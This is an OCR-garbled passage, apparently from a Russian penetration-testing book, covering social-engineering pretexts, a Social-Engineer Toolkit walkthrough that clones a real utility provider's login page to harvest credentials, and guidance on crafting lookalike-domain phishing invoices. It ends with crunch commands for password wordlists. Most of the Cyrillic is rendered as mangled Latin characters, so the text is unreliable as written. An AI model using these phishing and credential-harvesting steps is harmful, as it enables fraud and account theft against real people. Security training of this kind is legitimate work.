HAWTH B MeIIKe ¢ MyCOPOM JIMCTHK, HA KOTOPOM 3aICaHbI JIOTUH U TIapOJIb.

Il cbopa mHGOpMaLK U3 COLMAIBHBIX CeTell OUeHb XOPOILO OJ0MIET paHee pac-
cMOTpeHHbII nHeTpyMenT Maltego.

VYcraHoBJieHHE TOBEPUTEIBHBIX OTHOIIEHHIA. /17151 9TOTO He 00s3aTeIbHO 0IIAThCs
C YeJIOBEKOM Ha MPOTSDKEHUHU HECKOIbKUX JieT. Ha camoMm jiesie Bce MOXKHO CJiesiaTh
B PaMKax O/[HOTO Tesie)OHHOTO 3BOHKA. OUYeHb XOPOIIO 9TO JAEMOHCTPUPYET TIPH-
Mep co B3soMoM AOL. 3/70yMBIIIIEHHUK Pa3rOBapuBall ¢ OIEPATOPOM CIIYKObI
TeXHUYECKOU MOIePAKKU 6oubiire yaca. Ou YCTaHOBUJI JOBEPUTEJIbHBIE OTHOLIEHUST
C COTPYHUKOM, & 3aTeM YIIOMSIHYJI B PA3TOBOPE O TOM, YTO MPOJIAET CBOIO MAIIHHY.
CoTpy/IHUK KOMITAHMH MTPOSIBUJI K HEH MHTEPEC U OMPOCUJI TIPUCIaTh hotorpadun.
3JIOYMBIIIEHHUK TTPUCIAT TPOSTHCKOTO KOHS U TaKUM 00Pa3oM TIOJYIHI JOCTYTI
K BHYTPEHHEU CeTU OpPTaHU3aITI .
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IMonyuyenue undopmaiuu. Yem GoJibliie 3T0YMBIIUIEHHUK MOJYYUT HHPOPMAIUN
OT COTPYAHMKA, TeM ycIeliHee OyaeT ataka. B oHOM 13 c/lydaeB XaKkep [IO3BOHMUII 110
ob61e0cTyTHOMY TesiehOHY KOMIAHWK U, IPEACTABUBIINCH HOBBIM COTPY/IHIKOM,
nonpocust TesieoH cayKObI TEXHUIECKOH ToIepsKKU. [I03BOHUB BO BHYTPEHHIOIO
ciryk0y, OH, KaK HOBbII COTPYAHUK, y3Ha/ KOHTaKThI aupekTopa Y T-oraena, SKoOb
JUUTSL COTJIACOBAHUS TTOJIKTIOYEHUS K JIOKAJTbHOW CETH.

Wcropust niaBHo miepeniia B (hasy eiicTBrst. 3J0YMbBIIUIEHHUK TO3BOHUI B CIIYKOY
TEXHUYECKOU TOEPIKKHU U [IPEACTABUIICS HOBBIM COTPYAHUKOM, KOTOPOTO TOJIbKO
HeJIaBHO MPUHSLIN Ha PabOTY U KOTOPOMY €lile He YCIIeJIH CeIaTh AKKAyHT U BbIIATh
koMIbioTep. OH COOOIIINI, UTO Y3Ke CErOfiHs, OYKBAIBHO Uepes mapy MUHYT, eMy HE0O-
XOJIMMO BBICTYIIHTb € TIPE3EHTAINel epe/l HaualbHuKaMu oT/e/10B. [TpoGiiemMa B ToM,
YTO OH HE MOKET BOITHU B CHCTEMY, XOTSI TOJIBKO YTO OH PA3TOBAPHBAJ C HAUATbHIKOM
NT-ornena (Ha3piBaeT UMsI) U YCTHO COTJIACOBAJ CO3/IaHUE BPEMEHHOU yYeTHOH
sarmcu. COTPYAHUK CIysKOBI TEXHUYECKOM TIOIEPIKKI OYE€Hb XOTeJIa TOMOYb HOBOMY
COTPY/IHUKY, BEJlb TIOCTOPOHHUE HE 3BOHSIT BO BHYTPEHHIOK CIIY KOy, 1a 1 caM HaYaIb-
Huk UT-otnemna Bpozie Kak man corsacue. B pesysbrare 3J10yMBITITIEHHUK TTOTY YU
JIOCTYTI BO BHYTPEHHIOIO CETh, He IIPUOErast K MCIIOJb30BAHUIO TEXHUUECKUX HABBIKOB.

Social-Engineer Toolkit

Ha6op st cormanbhoit uaskenepun (Social-Engineer Toolkit, SET) — ato yruiuTa,
cospantas Jpsugom Kennenn (David Kennedy), ocHosaresem TrustedSec. JlaHHbrii
UHCTPYMEHT, HanucaHHblii Ha Python, Bxoxut B cocras Kali Linux u opueHTHpOBaH
Ha IMOMOIIIb B OCYIIECTBJIEHUH aTaK M0 TUITY COIUATHHON MHIKEHEPUH.

OcHOBHBIE QYHKIINU 3TOH YTUIHUTBL

e cuydunr (Spoofing): 1103BoJISIET CO31aBaTh MO//IE/IbHbIE BeO-CTPAHUI[BI, KOTOPbIE
[IPU HEKOTOPOM CTaPAHUK BBITJLISAT KaK HacTosiue. Yalie BCero nx MCrob3yioT
JUIst 0OOMaHa T0JIb30BaTe e, ¢ eI TTONYYUTh X MapOJIi WK 3aCTaBUTh 3ally-
ctuth BpenoHocHoe [10;

e (umunr (Phishing): Bkiouaer mHCTPpYMEHTHI s TIPOBeAeHUST (DUITMHTOBBIX
aTaK, B TOM YKCJIE CO3/IaHKe MO/IETbHBIX 3JIEKTPOHHDIX MMUCEM U BeO-CTPAHUIL;

® BpesioHOCHBIE (haiiael: co3maet BpenoHocHoe 1O (ncnosmusempre daiinbr, PDF-
JNOKYMEHTHI U T. JI.), KOTOPOE 3aTeM MOKeT ObITh MCIIOJIb30BAHO JJIs aTaKy Ha
nenesble 1C;

e pacmnpocrpanenue yepes USB: BktouaeT B ce0s1 MHCTPYMEHTBI JUJIST CO3/IaHUST
BpenoHoCHBIX USB-(uietiek, KOTopbie MOTYT ObITh UCTIOJB30BAHBI JIJIST aTaKU HA
CUCTEMBI KaK B OTTMCAHHOM BBIIIIE CJIyYae;

e SMS-araku: oberdaer co3jaHue 1 OCyIIECTBICHNE aTaK C UCII0Ab30BAHUEM 0/~
JebHBIX SMS-coo01eHnil.

PaCCMOTpI/IM IIPUMEPDBI TOTO, KaK MOJKHO HCIIOJIb30BAaTh 9Ty YTUJ/IUTY B pea]IbHOfI
JKN3HMU.
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Co3gaHue noaaenbHoro camTa

WTak, BBl peNTiIN HavuaTh CBOTO aTaKy Ha TPEANPUSATHE ITyTeM PACChIIKU (PUTITUHTO-
BBIX [IMCEM — OTJIMYHO, XOPOIIUi BoIOOp. Terepb He0OXO0UMO OIIPEESUTHC C TEM,
yro Gyaer BHyTpH nucbMa. Camble Oy IsIpHbIE BApHaHThl — BpemoHocHoe 110 uin
CChLIKa Ha MOAJe/bHbI caiit. [Ipemmaraio BeiOparh BTOpoe. Ecin Bl CTONKHETECH
C XOPOIIIO OPraHU30BAHHON 3aAIUTON, KOT/Ia TUChbMA TTPOBEPSIIOTCS HECKOJbKUMU
AHTUBHMPYCAMK U JJAsKe «4UCTbIe» (hailjibl OJIOKUPYIOTCS TOJIBKO U3-32 UX PaclIpe-
HUSI, TO BAIlM TAHCHI HA YCITEX B IEPBOM CJTydae pe3Ko CHU3STCSI.

Jasee HeOOXOAMMO OIIPEEIUThCS C CAITOM, KOTOPBII MbI XOTUM HOAAEIaTh. B mpuH-
LIIIIE, B 9TOM BOIIPOCE TBOPYECKUII IIPOCTOP MPAaKTUYECKK Oe3rpaHideH, HO JaBaiiTe
OCTAHOBMMCSI Ha BITOJIHE TIPU3EMJIEHHOM BapUaHTE MOCTABIINKA KOMMYHAJbHBIX
ycayT. Bee jke oI1aunBaioT cyeTa 3a Topsuyio BOJLY, BEPHO?

Teneps npucrynum k padore ¢ SET. 3anyctuts ero (puc. 8.3) MOKHO 1160 U3 T10JIb-
30BaTEJIHCKOTO MEHIO, OO U3 KOHCOJIU CIIEAYIOIIEell KOMaH/IOM:

$sudo setoolkit

E Itsechookitkall: ~ - a e
File Actions Edit View Hclp

The Social-Engineer Toolkit is a product of TrustedSec.

visit: https://wes.trustedsec.com

Select from Lhe menu:

1) Sucial-Fngineering Allacks

2) Penetration Testing (Fast Track)
3) Third Party modules

4) Update the Social Cngineer Toolkit
5) update SEl configuration

6} Help, Credits, and About

99) Fxil the Social-Fogineer Toolkil

Puc. 8.3. lMNep.bili 3anyck SET
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Boi6upaem nepseiii myHKT Social-Engineering Attacks (ataku 1Mo THITY COIHAIbHOM
umkerepun ). HeoOXoanmo ykasaTh, 4TO Mbl XOTHM OCYILECTBUTD aTakKy IIPH IOMO-
mu Beb-caiita, 1151 9TOro BhIOEpeM IyHKT website attack vector. [lasee HaumHaeTcst
camoe uHTepecHoe. Ham HeoOX0AMMO €cO3/1aTh TOYHYIO KOIIMIO CTPAHUIIbI, IOMHUTE
(puc. 8.4)? IT0 MOXKHO clieiaTh U BpyUHYIO, HO y Hac ectb SET.

® Bxoygy o ivanaid kalsner X 4 - = S
“« =2 O m 0 8 hips ik kvartplatainfollKHome/ L ogind iy = al =
"3 KaliLinux @ Kali Tools [ Kali Docs N Kali Forums ¥ Kali NetHunter = ExploitDE = Google Hacking DB L OffSee »

Bxopn B NUYHbI KabUHET

g Toro, yToful BoATH B NMYHLIA KAGHHET YHAMHTE 20, NOYTY W NAPonL

Appec 3NeKTPOHHOMA NouThl © .

BBeAHTE CUMBONGI C KAPTHHKH:

Hpyran KapTuHka

Safisinu napons?

PerveTpaumna

Ann woppextron padors Miramro ke p pinyacp Google Chrom: uepcii.

Puc. 8.4. OpurvHanbHbIii CalT NocTaBLUMKa YCIyr

Tenepp Ham HeoOxoUMO TiporHCTpyKTHpoBaTh SET. OH clietaet Bee cam: KJIOHUPYET
cailiT, 3aIyCTUT HEOOXOAUMBIII CEPBHUC U HAYHET COOUPATH JIOTHHBI U TTAPOJIH, BaM
OCTaHeTCs TOJIbKO CHUMATh CIMBKU. [IposieMOHCTpUPOBaHHBINT METO/T, KOHETHO Ke,
TpuBmaseH, Boamokunoct SET ropasno mmpe, HO ¥ 3TOTO yike OYAET I0CTATOYHO,
4TOGBI BHI3BATH Y YUTATEJIS UHTEPEC K ITOMY TIPOYKTY.

[lasee MBI yKa3biBaeM, UTO XOTUM OCYIIECTBUTD 3aXBaT JAHHBIX TTOJIb30BATEJI, 5T
sroro Bbibepem Credential harvesting attack method u T0, 4TO XOTUM KJIOHUPOBAThH
caiit, — site cloner.
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[Tocre aroro SET nauner nefictBoBath. /{151 Havama on monpocut ykasats [P-aznpec,
Ha KOTOPOM OyzeT «ciyiaTh> Tpaduk. [ToCKoNbKyY Bee AeficTBUI Mbl IPOBOAMM
B HUKOMY, KPOMe€ Hac, He JJOCTYITHON JIJabopaTOpHi, OCTaBUM JIOKa/IbHBIN azpec. Ecin
GBI HTO ITPOUCXOJIUIIO B peasibHOi k13U, To SET 6b11 ObI 3aITylIeH Ha BUPTYaTbHOM
cepBepe 1 MbI Obl YKa3aJIi PEAJIbHBII aJIPEC ITOTO CEPBEPA.

3arem Hac mompocaT npexocTaBuTh URL cTpaHUIIBI, KOTOPYIO MBI XOTHM KJIOHHPO-
BaTh. BBOZMM €ro, ¥ TYT POMCXOANT HeuTo Marndeckoe. [IpoGyem 3aiiTu o ajgpecy
localhost, mopr 80 (puc. 8.5).

& Bxop B AMYHBIA kaSuHeT - x| @ DBxog B AMMHBIE kabuneT - x|+ - =] "
« 3> C @ O O localhost & v ¢ =
"3 Kali Linux @ Kkali Tools  [@ Kali Docs N, Kali Forums 38 Kali MotHunter = ExploitDB = Google Hacking DB | OfiSce b

BxoA B NUYHbI KAOBUHET

Jins Toro, 4106 BOATH B NHHHER KEGAHET YRAMWTE 30, NOHTY W NBRONG

Appec aneKTPOHHOR NOYTL itsecbook@nic.ru .

Napont " LTI T 'y

BOEAMTE CHMBONG! C KAPTHHKW:
ssdfadt

Npyran KEpTHHKS

Babuinn napons? m

Pernctpaumnn

[inA koppesTHOM patiomst JmHoro kaduHeTa p | paysap Google Chrome Bepomi.

Puc. 8.5. KNoHMpoBaHHbI cainT

Terreps BBezieM JToruH 1 Taposib. CMOTPUTE, YTO ITPOMCXOIUT JaJIbIIIE: [TOCIIE OTIPAB-
KU IAHHBIX KJIMEHT [ePEeHaNpaBIIsieTcsi Ha CTPAHUILY PEATbHOTO ITOCTABIUKA YCIIYT,
a MBI BUJIUM B KOHCOJIU TaHHBIE, KOTOPBIE BBEJI TI0JIb30BaTENb (puc. 8.6).

Terneps, Korja y HaC eCTh TAKOW YyIECHBIN cailiT, HeOOXOANMO paccKasaTh O HEM
noJsibsoBareisiM. st aToro cosaaauM (GUIIHHTOBOE THChbMO U 100aBuM Tyga URL
Haleil HOBOW CTPAHUYKHU.
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BN isecoookkan: - - o =
File Actions Edit View Help
to a report

— & TMPORTANT & READ THTIS BREFORE ENTERTNG TN THE TP ADDRESS & TMPORTANT & —

. If the F'uST fu.ale are not u;ual methods Fr ting forms !.Iu:
ild fail. Tf it does, you can alw: the HTML ite the forms to
be standard foerms and use the "IMPORT" ature. Additionally, really
important:

If you are using an EXTERNAL TP ;'al':-l'!RFS‘a, you need to place the FETFRNM
1P address below, not your NAT address. Additionally, if you don®
xing concepts, and you h;ue a private IP address,
to your NAT IP add s f
ser doesns’t i
address, so if you den't specify an ernal IP anoress if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

1P address for the POST back in Harvester/Tabnabbing [192.185.91.
:‘T supports both HTTP and HTTPS

http:// v . thisisafakesite.com
> Enter the url to clone:https://lk.kvartplata.info/LK/Home/Login/

3.91.128 - - [18/May/2023 05:57:40] “POST /Login HTTPR/1.1% 382 -

Puc. 8.6. KoHconb SET ¢ nony4eHHbIMU AaHHbIMU

Co3faHue PULWNHIOBbLIX NMUCEM

[lepen cozmanmeM Takoro MUChbMa HaM Ha/I0 PEITUTh HECKOIBKO BOTIPOcoB. /L Ha-
Yasa CIeyeT MoyMaTh O TOM, Yepe3 KaKie CepBepPhI Bbl OyIeTe OTIPABIISATD TAKYIO
nouty. HactogTensHo He peKOMEH/yeTcs /ieslaTh Bee € Ballero OCHOBHOTO KOMIIBIO-
Tepa, Be/b eciin [P 3a6JI0KMPYIOT, TO 9TO BBI3OBET Y BAC HEKOTOPbIE TPyAHOCTH. JInbo
UCIIOTB3YHTe GeCIIaTHbie CepBEPBI (XOTsI OHU BCET/IA BRI3BIBAIOT MEHBIITE IOBEPUST),
60 KyTmuTe HecKoIbKo VPS.

ABTOp BBICTYIIaeT 32 BTOPOii BapuanT. Crenuanuctel, padotaione B obmactu 1B,
MOJIYYalOT JI0CTATOUYHO XOPOIIUE JICHBIM, YTOOBI CUUTATH A0COMIOTHO HOPMAJIBHOI
MOKYTIKY CEPBEPOB, C KOTOPBIX OY/IYT MTPOBOANUTHCS ATAKH, U APYTOTO 06OPYIOBAHIS,
a TAK’Ke TI0KEPTBOBAHUS [TPOEKTAM C OTKPBITBIM KOoM. CorylacuTech, Kax1oMy pas-
paborunky 6ecriarHoro ITO Gyer npusTHO osryurTth o Hoseriil rog 500 pyo6aeit
OT aHOHUMHOTO OJIATO/IETEIS.

Pexomenmyio mpucMOTPeThCS K cepBepaM ¢ TOMUHYTHOU OTLIATOH, BEb B TO BPEMH,
KOT/[a BBI HE MTPOBOJIMTE TECTHI HA IPOHUKHOBEHUE, OHU MOTYT OBITH OTKJIFOUEHBI 11 BB
3a 9TO He OyJIeTe TIATHUTb.
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Wrak, Mbl ornipeiesnauch ¢ cepsepoM. [Ipeanosokum, 4To B TaHHOM IIPUMEPE MbI
Gy/IeM UCITOIb30BaTh Halll THYHbIi cepBep. Cremyionuii mar — ato gomex. Jlomen
OYeHb BasKEH: ECJIU CepBep TIOJTydYaTe st HacTpauBasIy HoJiee-MeHee TPAMOTHBIE CITEIU-
AJIMCTBI, TO TAM HABEPHSKA CTOUT 3AIUTA OT MO/IETbHBIX IOMEHOB U Ballle MTUCHMO
YIATST B ABTOMATHYECKOM PeskiMe. [109TOMY HEOOXOMUMBI TOMEHbI, MAKCHMATBHO
MOXOJKHE Ha Te, C KOTOPBIX BbI COOMPaeTech pacchliaTh mouty. Hampumep, 1oMeH
micrasoft.com ouenn MOX0K Ha microsoft.com. TyT Bce orpaHIYeHO TOTBKO Barmeit
(hanTazmeii.

Cuenytoree, 9To HaM HEOOXOUMO, — TIOJIy4uTh oOpasell miucbMa (puc. 8.7). [a,
€cTb M0JIb30BATENN, KOTOPBIE TIPUMYT 32 UNCTYIO MOHETY CaMoe ysKacHoe ¢ BU3Y-
aJIbHON 1 FpaMMaTI/I'-IeCKOI';I TOYKH 3pEHUA «TBOPYECTBO», HO, K CHACTbIO, TAKUX
OCTAJMCh eANHUIIBL. [IJIsT CO3aHuUs TIOXOKETO Ha HACTOSIIEE TTHChMa TTOTpobyiTe
BCTYTIUTH B MEPENUCKY € TOW OpraHU3aIlnel, 0T UMEHU KOTOPOii BbI cOGUpaeTech
paccbljiaThb ITMCbMa. Ecnu BbI X0THTE JeJjiaTb 3TO OT MMEHU 6aHKa, HalluaiurTe
B 6aHK, SBHBﬁTe M BOITPOC 110 ITOBOJY TIPE/IOCTABJIEHUA KPpeJuTa NI BJIOKEHUA
WHBECTUIMI, U BBl HABEPHSIKA MOJyYUTe OTBET. ECii BB cOOMpaeTech OTIPABJISITH
I1cbMa COTPYAHUKAM OT UMEHU KOMITaHUY, B KOTOpOﬁ OHU pa6OTaIOT, TO BbI 3HAETE,
qTO JlesiaTh. Hanummre, 4T0 XOTUTE KYIUTH J[BE TOHHBI IIEMEHTA, €CJIU, KOHEYHO,
OPTaHM3AIHSI €70 MPOJIAET.

MnaTexHbid goKyMeHT "CuyeT Ha ONNaTy XWNOro NOMELEeHUs, B omau v
KOMMYHanbHbIX M Npouux ycnyr" 3a ®espanb 2023r.

AO «EVIPLL CMNE» 3 gaepans, 1314 noa e

Kewy: sam

1 dpaiin  Crausrs (295 KE)  Coxpawire & Ofnaxe

Yeamaemeid nompeSumens!

AQ «EWPL] CNE» vanpasnseT 13 Baw anpec 3nekTposHol nouTh: CuéT Ha onnary XUNoro NoMELEHIs,
KOMMYHENGHBIX 1 NEONHX YoryT 3a Desp: 2023r. (o,

Mo Bonp & "p cYeToR Heok: pALA B yTIp Ly

. He ATe Ha Hero!
Ecnm nomyueHHpe haiinsl HE YA3ETCA OTKPLITL NPW NPOCMOTPE AUKS, COKD WX Ha pn
3aTem oTRpodiTe, [ina npocioTpa U pacnevatsy CuéTa p YEM KC! CReQYIWMe np : Adobe

Reader sepcun 8.0 w ebiwe wnn Foxit Reader.
HeofxoqiMele NRATPAMKE MOXHO CKAYATR N0 AAPECAN:

Puc. 8.7. OpuruHan cyeTa 3a KOMMyHasnbHble ycnyr oT EMPL, CM6

Tenepb HECKOIBKO MOAUDUIIMPYEM MTUCHMO U ¢/ielaeM WH(OPMAIIMIO B HeM GoJiee
MmyTarotel ¥ MpuabIBaonieii K aeiictsuio (puc. 8.8). /L7151 5TOro MOKHO BOCIIOIH30-
BaThCs1 JIOOBIM TEKCTOBBIM PeIakTopoM, u vi, u LibreOffice Writer.
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Ha nam B3TJIA, TOJTYYUJIOCH OYEHD JIa’Ke XOpolIee M1MCbMO, 110 CTUJTIO HEOTJINYNMOE
OT OpUTHHaJIA. EZII/IHCTBGHHOG7 4YTO CMYTUT BHUMATEJIbHOTO ITOJIb30BaTEJIsA, — JIOMEH.
Kax YyiKe TOBOPUJIOCD, HeO6XOI[I/IMO HCIIOJIb30OBAaThb YTO-TO MaKCHUMaAJIbHO ITOXOJKee.

OTHpaBﬂﬂeM TMCbMa HYKHBIM aJipecaTaM, JIy4dIle BCEro OTIIPaBJIATH O/ITHO IMMCbMO
OTHOMY Y€JIOBEKY, 1 HAYMHAEM JK/1aTh, HEJAPOM JK€ 9TOT METO/ aTaKN HA3bIBACTCA

naesa 08 e CoumanbHas MHXeHepus

Subject | Tnamessinii gokymMent "CHeT o GRANTY MWAOFD AOMELIEHWE, KOMMYHARRHR W nposW yonyr™ 3a Denpans 2123,

[Body Tt~ | Varioble Wit B g1 T B I[U k== EEISBY O

AD «EMPLU ClB» Hanpasanet Ha Baw agpec anekTpoHHON NnosTel CUET Ha ONAATY HMAOTO NOMELLEHHA, KOMMYHANBHLIX
M NPoyMX yoT 3a Pesp 2023r. (cm. ).

Hano y1o 0CTh B obbeme 78 152 pyGnaei HeobxogmMmo onnatuTe Ao 16 mapta 2003 roga. B
npoTMoHom cayyac geno Byaer nepegano cygebimm weno 3

Moy mis uHd GEETIT TH W NUIECHTE B8 MUMHO HE Hawem caire hitps:/feircspb.se,

H d . He fite Ha Hera!

Ecan nonyueHHbie dainbl He YAAETCA OTKPBITE NPM NPOCMOTPE NOMTOBOFO ALMKA, COXPAHWTE MX HA KOMNBIOTED W 3ATEM
OTHPOATE. fINA NPOCMOTRA W pacne: Cuitta peue MENDALIOBATE CARAYIOUMEe nporpamm: Adobe Reader
Beporn 8.0 1 Buiwe wan Foxit Reader.

HeofixofMmble NPOrPamMMbl MOKHO CKAUATH NO 8ApEcam:

Puc. 8.8. OTpeaakTMpOBaHHbI BapuMaHT N1MCbMa

CO3BYYHO CJIOBY <<pr6aJIKa>>.




B3nom naponen

B coBpemennom Mupe ecTb MHOTO pa3HbIX BUIOB ayTenTrudukaiuu. CyiuecTByior
METO/Ibl, UCII0JIb3YIole OnoMeTpudecKkue ganuble (CKaHUpOBaHUE OTIIEYATKOB
MaJsibIa, PagysKHONH 060JOUYKH TJ1a3a, JUI, TOJI0ca), JOMOTHUTEIbHBIC YCTPOCTBA
(MOGUIBHBIN TesiehOH, reHepaTop MapoJieil, CMapT-KapThl); eCTh CIIOCOObI, KOTOPbIE
YVUUTBIBAIOT Jaxke Takue rnapamerpbl, Kak GPS-koopauHarhl 1 MaHepa HabUpaTh
MapoJbh Ha KaaBuaType. U Bce ke 10 CUX TIOp CaMbIM TIOIYJISIPHBIM METOZIOM ayTeH-
TUu(UKAIUY SBJISIETCS BBOJI JIOTUHA U TTAPOJIS.

Hapa JIOTVWH U TIapOJIb 110 YMOJYaHWIO UCTTOJIb3YETCS JIsA ayTeHTI/I(I)I/IKaLII/II/I BO BCeX
CHUCTEMaAX, 6yZII) TO B66-HpI/I]IO}KeHI/IE'7 ofepannoHHasa CUCTEMa NJIN 6asa JTAaHHDbIX.

B 570i1 r71aBe OyIyT PACCMOTPEHBI JIBA OCHOBHBIX CIIEHAPUSL:
® BIIEPBOM CJIydae HaM OYIET I0CTYITHA TOJIBKO (hopMa JIJIst BBOJIA JIOTHHA U TIAPOJIST;

® BO BTOPOM CJIydyae MbI IOJYUUM JOCTYI K Gaze JaHHBIX (2 BBl IOMHUTE, YTO
Jaske POCTO (ailyl MOJKET curTaThest 6a30il JaHHBIX) U YBUAUM TOJBKO XEIITH
rapoJiett.

OCHOBHbIE METObI

Jluig Havasia paccMOTpPUM JIBa OCHOBHBIX METO/Ia aTaku Ha naposu. Ha camom siese
crmoco6OB B3JIOMATh TTAPOJIb OTPOMHOE MHOKECTBO, HO B OCHOBHOM BCE OHU SIBJISTIOTCS
MoarUKaIUAMU 1160 IpsAMoro nepebopa, 1ubo nepebopa 1o cJIoBapio.

IIpsmoii nepeGop mapoaeii, uinu <brute force», XoTg rapaHTUPOBAHHO W HAXOIMT
[apOJIb IIPH JIOCTATOYHOM KOJIMUECTBE BPEMEHH, MMEET Psi/l CYHIECTBEHHBIX HEJIOCTAT-
KOB. Bo-T1epBbIX, TaKKe aTaky MOTYT 3aHATH OYE€Hb MHOTO BPEMEHU, OCOOEHHO TIPH
pabore ¢ JTMHHBIMU TAPOJISIMHU, BKIIOUAMOIIUMI IMPOKHUIT [HAIA30H CUMBOJIOB. Bo-
BTOPBIX, aTaKK € TIPSIMBIM MepebopoM TpeOyIoT GOJBINIX BBIYUCIUTENbHBIX PECYPCOB,
YTO CTAHOBUTCST TPOGJIEMOTT TTPU OTPaHIYEHHBIX BO3MOXKHOCTAX. K TOMY ke MHOTTIE
CHCTEMBI TIPELyCMaTPUBAIOT OJIOKHPOBKY aKKayHTa WJIH 3aMe/IJIEHIE TIPOTIECCa BBO/A
[apoJisi MOCJIe OIPEIEJIEHHOTO KOJIMUECTBA HeY/IauHbIX TIOMBITOK, YTO OrPAHUYNBAET
s dexruBHOCTD arak «brute force». IIpu 3TOM TAaKOTO pojia aTaku OOBIYHO JIETKO
0OHAPYKUBAIOTCSI CUCTEMaMK Oe30TTaCHOCTH U3-3a GOJIBIIIOTO YHC/IA MOIBITOK BXO/IA,
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4TO MOJKET MpuBecTH K Osokuposke IP-azpeca, ¢ KoToporo coepiraercst ataka. Ha-
KOHEII, MOJIarasich UCKIIOYUTETHHO Ha TIPAMOIT mepe6Gop, MOKHO YIyCTUTH JAPYTHE,
6osiee ahekTUBHBIE CITOCOOBI B3JIOMA, TAKHUE KaK COIMATbHAA WHIKEHEPHS], aTaKK
0 CJIOBAPIO WJIU MCIIOJIb30BAHNE yTeUeK JaHHbIX. [[09TOMY XOTs 1IpsiMOit miepebop
MOKET OBITH YACTBHIO CTPATETUH, OH OOBIYHO HCIIOJIB3YETCS KaK CAMbIi TOCJIeIHIIT
BapMaHT B CJIyyae, KOT/Za BCe OCTATbHbIE METO/IBI HE /IaJI JOJKHOTO Pe3yJsbraTa.

Araku no caoBapio. CyTh METO/Ia 3aKJIOYACTCST B TOM, YTO aTaKyOIUil moaGupaeT
[apoJib He cayydaiiHbiM 00pa3oM, a GepeT c10Ba 13 3apaHee MoAroTOBJIEHHOTO (daiiia
¢ mapossimu. Pasymeercst, epebop He BefeTcst BpyuHyto. JIJisi MpOBeeHUsT TaKUX
aTak (HE3aBUCUMO OT TOTO, TiepeOupaeTe BbI AP0/ HATPSIMYIO WU HCIIOJb3yeTe
CIIMCKH, 9TO TOPA3/10 MPEeATIOYTUTETbHEE ) TTPUMEHSIETCS CIIeINaTbHBI MHCTPYMEH-
Tapuil, KOTOPBLI MBI PACCMOTPUM B CJIeIyIONUX Pas/iesax.

PaboTa co cnnckamu naponen

Ize ke B3aTh daiia ¢ mapoasmu? Kali Linux yske coIepsKUT HECKOJIBKO TAKMX CITHC-
KOB B aupexTopun /usr/share/wordlists/. OqHaKo eciiu BaM 9TOr0 MOKaKeTCs MaJIo,
TO JIOTIOJIHUTE/IbHBIE MATEPUAJIBI BCET/IA MOJKHO HaiiTu B unTepHeTe. Hanpumep, Ha
carite https://wiki.skullsecurity.org/index.php?title=Passwords ecTb oueHb XOpoIitas mo-
6opka caosapeil. Tam ectb daii, cogepskanuii 500 caMbIX HOIMYJISPHBIX IAPOJIEH,
WJTH TIAPOJIN TIOJIh30BaTE/Iel TAKUX TIOMYJIIPHBIX cepBrcoB, kKak Hotmail u MySpace.

Ho y taxkux cioBapeii ecTh ofiuH HeIOCTATOK. BoJIbIIast UX 4acTh CO3/AETCST AHTIIOTO-
BOPSIIUMHE clielnaarcTaMmu. MOKHO ¢ YBEPEHHOCTBIO CKa3aTh, uTo B Poccuu takue
napoJin, kak «matthews win «<hooters», He OyyT MOIB30BATHCST OCOOON TOTTYJIsIP-
HOCTBIO. 3ato mapoJin «krasotkas u «chebureks MokHO BeTpeTnTh 10BOJIBHO YacTo.

Hepezko ymom 1CHob3YIOT 71 CO3/IaHus [1apoJieil Ha3Banue cBoeil podeccui, 1aTy
POXK/ICHM, Ha3BaHue opranusaru. [10aToMy B HEKOTOPBIX CITydasX cCaMOCTOATEIbHO
CO3JIaHHBIN CITUCOK MapoJieii Gy1eT HaMHOTO JIydliie HaliIeHHbIX B MHTEPHETE.

PasymeeTcst, co3aTh BpyuHyto criucok xotst 6b1 n3 1000 maposieit — 3agava 10BOJbHO
caokHast. PaceMOTpuM criocoObl aBTOMATH3AIIH TTPOTIECCa.

B cocras Kali Linux BxoauT yrusmra crunch, koropas MokeT reHeprupoBaTh CIIMCKA
CJIOB Ha OCHOBE 3a/JaHHbIX 110JIb30BaTE/IeM IIPABUIL

[TpuBemeM HECKOTBKO TIPUMEPOB €€ UCTIOIb30BaH. [IpermomoKmm, Mbl 3aMeTHIIH,
KaK 4eJIOBEK BBOJUT 11apoJib. HaMm yzanock 3aIlOMHUTE, 4TO OH UCIIOJIb3YET TOJBKO
MaJIeHbKHe JIATHHCKIE OYKBBI rgtyus B KosimuecTse ot 6 10 9:

root@kali:~# crunch 6 9 rgtyus -o pass.txt

Crunch will now generate the following amount of data: 118459584 bytes
112 MB

0 GB

o TB

0 PB

Crunch will now generate the following number of lines: 12083904
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Crunch mo3BoJIsIET TEHEPUPOBATH TTAPOJIH TI0 OTIPeIeIeHHOMY Tabmomy. [l1st aToro
HCITIOJIb3YIOTCS CIIEIUATBHBIE OTIEPATOPBI: @ — CTPOYHBIE OYKBBI, , — MPOIMICHBIE
GYKBBI, % — HUGDPLI, » — CIENUATbHBIE CUMBOJIBL.

YacTo ObIBaET TaK, YTO AIMUHUCTPATOP HA TPEATTPUATHH HCIOTB3YET JJIST TPOCTOTHI
3aTIOMUHAHUS OIHY U TY K€ THIOBYIO KOHCTPYKITHIO TIAPOJIS ST BCEX CEPBEPOB.
[TpeamomoKuM, 9TO €ro MapoJIu BCEria HAYMHAIOTCS ¢ 3arJIaBHON GYKBBI, COIEPIKAT
YeThIPe CTPOUHBIE OYKBBI U YEThIPE MU PLI:

root@kali:~# crunch 9 9 -t ,@EE@%%%%

Crunch will now generate the following amount of data: 1188137600000 bytes
1133096 MB

1106 GB

1 TB

0 PB

Crunch will now generate the following number of lines: 118813760000
Aaaaaboeo

Aaaaaeol

Aaaaalee2

Aaaaabee3

Aaaaaooo4d

Aaaaalees

Aaaaaboe6

Aaaaabee7

3Has MOJIUTUKY GE30MIACHOCTH KOMIIAHKK XOTsI Obl B OTHOIIEHUU HAPOJIed, MOKHO
CO3/1aTh CIIUCOK U3 CTPOK, COJIEPKAIINX, HATIPUMED, I€BSITh CUMBOJIOB, OJIHY 3aTJIaB-
HYI0 OYKBY 1 OIHY LU(pPY.

Bropoii criocob cospanusa coOCTBEHHOTO, IEPCOHATUZNPOBAHHOTO CIIMCKA MapoJIeid —
3TO MCITOJb30BaHMe CJIOB U (dpas ¢ caiita opranusaruu. [IpeacraBsre Ha CEKyHY,
4TO BBl He JIyUIINN CIEeNUaIICT 10 NHOOPMAIIMOHHOI (6e3011aCHOCTH, a PAL0BOIL
MeHeJ[Kep TYPUCTUUECKOTO areHTcTBa. U BAPYT, B caMblil HEMOAXOASAIUN MOMEHT,
